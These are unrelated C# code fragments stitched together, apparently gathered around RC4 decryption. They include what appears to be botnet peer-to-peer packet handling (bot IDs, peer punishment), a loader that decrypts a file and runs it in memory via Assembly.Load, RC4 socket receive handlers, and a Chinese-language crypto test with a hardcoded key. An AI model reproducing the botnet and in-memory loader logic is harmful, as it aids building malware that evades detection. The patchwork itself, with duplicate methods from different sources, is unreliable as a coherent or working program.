private void PackageReceivedEventArgs(object sender, PackageReceivedEventArgs <IPEndPoint> e)
{
var data = e.Payload;
var now = new TimeSpan(DateTime.UtcNow.Ticks);
var minutes = now.TotalMilliseconds / (1000 * 60);
var xor = new Mod2(BitConverter.GetBytes(minutes));
xor.Decrypt(data);
var rc4 = new Rc4(_botId.ToByteArray());
rc4.Decrypt(data);
var botHeader = BotHeader.Decode(data);
if (!IsValidHeader(botHeader))
{
_peerList.Punish(botHeader.BotId);
return;
}
botHeader.EndPoint = e.Proto;
_peerList.UpdatePeer(botHeader.BotId);
Events.Raise(BotPackageReceivedEventArgs, this, new PackageReceivedEventArgs <BotHeader>(botHeader, data));
}
private Assembly LoadPE(string filePath)
{
var fileStr = File.ReadAllText(filePath);
var xKey = Encoding.ASCII.GetBytes(_p);
var hexadecimal = Zipper.Decompress(fileStr);
var contentEncrypted = StringHexToByteArray.Convert(hexadecimal);
var contentDecrypted = Rc4.Decrypt(xKey, contentEncrypted);
var pe = Assembly.Load(contentDecrypted);
return(pe);
}
protected override void OnReceived(byte[] data)
{
if (_rc4 == null)
{
HandleRsaPacket(data);
return;
}
var tmpBuffer = new byte[data.Length - 1];
Buffer.BlockCopy(data, 1, tmpBuffer, 0, data.Length - 1);
_rc4.Decrypt(ref tmpBuffer);
var x = new byte[tmpBuffer.Length - 3];
Buffer.BlockCopy(tmpBuffer, 3, x, 0, x.Length);
base.OnReceived(x);
}
protected override void OnReceived(byte[] data)
{
_rc4.Decrypt(data, 1, data.Length - 1);
var dataOffset = 4;
var compressionLevel = data[0];
if (compressionLevel == 2)
{
data = GZip.Decompress(data, 5);
dataOffset--;
}
var messageText = Encoding.UTF8.GetString(data, dataOffset, data.Length - dataOffset);
OnReceived(messageText);
base.OnReceived(data);
}
private Content GetEncryptedFileContent(string filePath, out byte[] decrypted)
{
var fileStr = File.ReadAllText(filePath);
var xKey = Encoding.ASCII.GetBytes(_p);
var hexadecimal = Zipper.Decompress(fileStr);
var contentEncrypted = StringHexToByteArray.Convert(hexadecimal);
var contentDecrypted = Rc4.Decrypt(xKey, contentEncrypted);
decrypted = contentDecrypted;
var contentEncoded = Encoding.UTF8.GetString(contentDecrypted);
try
{
var final = JsonConvert.DeserializeObject <Content>(contentEncoded);
return(final);
}
catch
{
return(null);
}
}
private static void 加密解密测试()
{
Console.WriteLine("--------加密解密测试---------");
string key, pwd;
key = KeyGen.GenerateRandomKey();
key = KeyGen.GenerateAesKey();
key = KeyGen.GenerateDesKey();
key = KeyGen.GenerateTeaKey();
key = "_elong.tech@2020_"; // 自己指定Key
pwd = "hello12345你好";
var p1 = Aes.Encrypt(pwd, key);
var p2 = Aes.Decrypt(p1, key);
Console.WriteLine($"Aes加密: {p1}, Aes解密: {p2}");
var p3 = Rc4.Encrypt(pwd, key);
var p4 = Rc4.Decrypt(p3, key);
Console.WriteLine($"Rc4加密: {p3}, Rc4解密: {p4}");
var p5 = Des.Encrypt(pwd, key);
var p6 = Des.Decrypt(p5, key);
Console.WriteLine($"Des加密: {p5}, Des解密:{p6}");
var p7 = Tea.Encrypt(pwd, key);
var p8 = Tea.Decrypt(p7, key);
Console.WriteLine($"Tea加密: {p7}, Tea解密: {p8}");
var p9 = Hash.Md5(pwd);
Console.WriteLine($"MD5哈希: {p9}");
Console.WriteLine("");
}